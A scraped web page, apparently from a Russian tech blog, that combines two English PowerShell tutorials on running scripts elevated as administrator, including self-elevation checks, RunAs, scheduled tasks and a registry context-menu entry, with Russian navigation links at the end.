Если надо ограничить поиск только какой-то одной категорией (например, поиск уязвимых сервисов), то можно использовать соответствующий ключ. Список всех доступных опций можно посмотреть с помощью ключа —help, например для сервисов это будет -S.

Источник

To elevate a PowerShell script to run with administrator privileges, use the following code snippet to re-launch the script as an admin if it’s not already running in that mode:

if (-Not ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) {
    Start-Process powershell -ArgumentList "-NoProfile -ExecutionPolicy Bypass -File `"$PSCommandPath`"" -Verb RunAs
    exit
}

Understanding PowerShell Elevation

What Does Elevation Mean?

Elevation refers to the process of granting higher privileges to a user, thereby allowing access to system-critical functions. In the context of PowerShell, this means running commands or scripts that require administrative rights. Without elevation, many tasks are restricted and cannot be completed, as they might change system settings or install software.

Why Elevation Is Necessary

Elevating PowerShell scripts is crucial for several reasons:

  • Installing Software: Many software programs require administrative privileges to be installed successfully.
  • Changing System Settings: Adjusting configurations that affect the entire system often necessitates administrative access.
  • Managing Services: Starting or stopping Windows services typically requires elevated permissions.

Methods to Elevate PowerShell in Scripts

Using the `Start-Process` Cmdlet

One of the simplest methods to elevate a PowerShell script is by using the `Start-Process` cmdlet. This cmdlet allows you to launch a new process, and you can specify that it should run with elevated privileges.

Here’s how to elevate a PowerShell script using `Start-Process`:

Start-Process PowerShell -ArgumentList '-NoProfile -ExecutionPolicy Bypass -File "C:\path\to\script.ps1"' -Verb RunAs

Explanation of the Parameters:

  • `-NoProfile`: This option prevents PowerShell from loading user profiles, speeding up the startup time.
  • `-ExecutionPolicy Bypass`: This setting allows the script to run regardless of the current execution policy.
  • `-File «C:\path\to\script.ps1″`: Here, you specify the path to your script that needs to be executed with administrative privileges.
  • `-Verb RunAs`: This parameter tells PowerShell to run the new process with elevated privileges.

Checking for Elevation Status

To ensure that your script is running with the required administrative privileges, you can include a check at the beginning of your script. If the script is not elevated, it can prompt the user to restart with elevated rights.

Here’s how you can perform this check:

$isElevated = (New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)
if (-not $isElevated) {
    Start-Process PowerShell -ArgumentList ('-NoProfile -ExecutionPolicy Bypass -File "{0}"' -f $MyInvocation.MyCommand.Path) -Verb RunAs
    exit
}

Explanation of the Code:

  • `WindowsPrincipal` and `WindowsIdentity`: This segment checks the current user’s access level.
  • `IsInRole`: This method checks if the user is part of the Administrators group.
  • `Start-Process`: If the user is not elevated, it reruns the script with elevated privileges and then exits the current session.

Best Practices for Elevating PowerShell Scripts

Writing Safe Elevation Procedures

When scripting, it’s imperative to write safe elevation procedures. Always consider the risks associated with running scripts as an administrator. Scripts that execute as an admin can potentially perform actions that may harm the system if not constructed correctly. Therefore, validate inputs and ensure that your scripts are free of malicious code.

Prompting Users for Elevation

User experience should also be taken into account when designing your scripts. If a script requires elevation, provide clear prompts explaining why elevated rights are necessary. A user-friendly approach will encourage users to trust and understand the need for these permissions.

Automating Script Elevation for Frequent Tasks

Creating a Shortcut or Scheduled Task

When you find yourself needing to run specific tasks frequently with elevated permissions, consider creating a shortcut. A shortcut configured to always run a script as an administrator simplifies the process and enhances efficiency.

Utilizing Task Scheduler

Using Task Scheduler can automate the execution of scripts that require administrative privileges at specific times or events. Here’s a simple example of how to create a scheduled task from within PowerShell:

$action = New-ScheduledTaskAction -Execute 'PowerShell.exe' -Argument '-NoProfile -File "C:\path\to\script.ps1"'
$trigger = New-ScheduledTaskTrigger -AtStartup
Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "MyAdminTask" -User "SYSTEM" -RunLevel Highest

Explanation of the Code:

  • New-ScheduledTaskAction: This cmdlet defines the action that the task should perform, in this case, executing a PowerShell script.
  • New-ScheduledTaskTrigger: Creates a trigger that determines when the task should run, such as at startup.
  • Register-ScheduledTask: Registers the task in the Task Scheduler, running it under the SYSTEM account, ensuring it has the highest privileges.

Troubleshooting Common Issues

Handling UAC Prompting

Even when scripts are correctly set to run as an administrator, users might still encounter UAC prompts. It’s vital to handle these prompts gracefully, providing users with explanations on why elevation is required. This reassurance can mitigate frustrations that arise from frequent interruptions.

Debugging Elevation Issues

If you face issues with script elevation, logging provides a means to troubleshoot effectively. Include logging statements in your scripts that can help trace why an elevation might fail, such as permissions issues or wrong paths.

Conclusion

Now that you have an extensive understanding of how to PowerShell elevate to admin in script, you can create scripts that run effectively with the necessary permissions. Always prioritize security, validate inputs, and ensure that you create a user-friendly experience. With these best practices, you can confidently execute administrative tasks seamlessly in PowerShell.

Additional Resources

For further learning, refer to the official PowerShell documentation and review best practices for writing secure and efficient scripts. Familiarizing yourself with these resources will improve your PowerShell skills and elevate your scripting capabilities.

Источник

  • SS64
  • PowerShell
  • How-to

Some PowerShell cmdlets and Windows commands such as REG ADD and SUBINACL have to be run from an elevated prompt, there are several ways of doing this.

It is possible to right click Powershell.exe (or its Start menu shortcut) and run it ‘As Admin’.
Shortcuts can be edited to always run as Admin — Properties | Shortcut | Advanced then tick «Run as administrator».

To elevate a script from a (non-elevated) PowerShell command line:

PS C:\> Start-Process powershell -ArgumentList ‘-noprofile -file MyScript.ps1’ -verb RunAs

To run (and optionally elevate) a PowerShell script from a CMD shell, see the PowerShell.exe page.

A set of commands can also be saved in a scriptblock variable, and then passed to a new (elevated) PowerShell session:

Start-Process -FilePath powershell.exe -ArgumentList $code -verb RunAs -WorkingDirectory C:

To run an entire PowerShell session ‘As Admin’ from an existing PowerShell (non-elevated) session:

PS> Start-Process powershell.exe -Verb runAs

If you use Invoke-Command to run a script or command on a remote computer, then it will not run elevated even if the local session is. This is because any prompt for elevation will happen on the remote machine in a non-interactive session and so will fail.

Using Enter-PSSession to start a whole new session will support elevation if you specify CredSSP, which enables the delegation of user credentials:

New-PSSession ss64dom.com -Auth CredSSP -cred ss64dom\user64

Before running any scripts on a new PowerShell installation, you must first set an appropriate Execution Policy

PS C:\> Set-ExecutionPolicy RemoteSigned

Testing for Elevation

A function that will return $True if the current session is running elevated or $False if not:

function isadmin {
 # Returns true/false
   ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")
 }

To ensure a script is only run As Admin, add this to the beginning

If (-NOT ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator"))
 {    
  Echo "This script needs to be run As Admin"
  Break
 }

In PowerShell v4.0 the above can be simplified by using a #Requires statement:
#Requires -RunAsAdministrator

Self-Elevating script

If a script needs to be run elevated, then you can ensure it will only ever be run elevated by including the logic within the script.

If (-NOT ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator))
{
  # Relaunch as an elevated process:
  Start-Process powershell.exe "-File",('"{0}"' -f $MyInvocation.MyCommand.Path) -Verb RunAs
  exit
}
# Now running elevated so launch the script:
& "d:\long path name\script name.ps1" "Long Argument 1" "Long Argument 2"

Setting the current directory

When a script is elevated, it runs in a new elevated session and the script current directory will default to \Windows\System32\

When writing a script that will be elevated, either hard code the path to any files that you reference, or use the The $MyInvocation automatic variable to get the location of the .ps1 script, then link to dependent files in that same folder.

Scheduled Tasks

If a scheduled task invokes a UAC prompt, then the task may fail to run unattended, to prevent this make sure that you select the ‘Run With Highest Privileges’ check box, (or run Set-ScheduledJobOption -RunElevated )

When a script is run with elevated permissions several aspects of the user environment will change: The current directory, the current TEMP folder and any mapped drives will be disconnected.

Windows Explorer Context Menu

To add a «Run as Administrator» context menu for .ps1 files, run this from an elevated PowerShell prompt:

PS C:\> $reg = "Registry::HKEY_CLASSES_ROOT\Microsoft.PowershellScript.1\Shell\runas\command"
PS C:\> New-Item -Path $reg -Force -Name '' -Value '"c:\windows\system32\windowspowershell\v1.0\powershell.exe" -noexit -file "%1"'

“Winners make a habit of manufacturing their own positive expectations in advance of the event” ~ Brian Tracy

Related PowerShell Cmdlets

PowerShell.exe — Launch a PowerShell session/run a script.
CMD: Run with Elevated Permissions
ElevationToolkit — Command-Line UAC Elevation Utility from Bill Stewart.

Copyright © 1999-2025 SS64.com
Some rights reserved

Источник

Понравилась статья? Поделить с друзьями:
0 0 голоса
Рейтинг статьи
Подписаться
Уведомить о
guest

0 комментариев
Старые
Новые Популярные
Межтекстовые Отзывы
Посмотреть все комментарии
  • Как проверить когда включали компьютер windows 10
  • Чистая загрузка windows 10 для чего
  • Windows 7 home basic build 7601
  • Windows 7 x64 не загружается
  • Настройка wsus windows server 2012 r2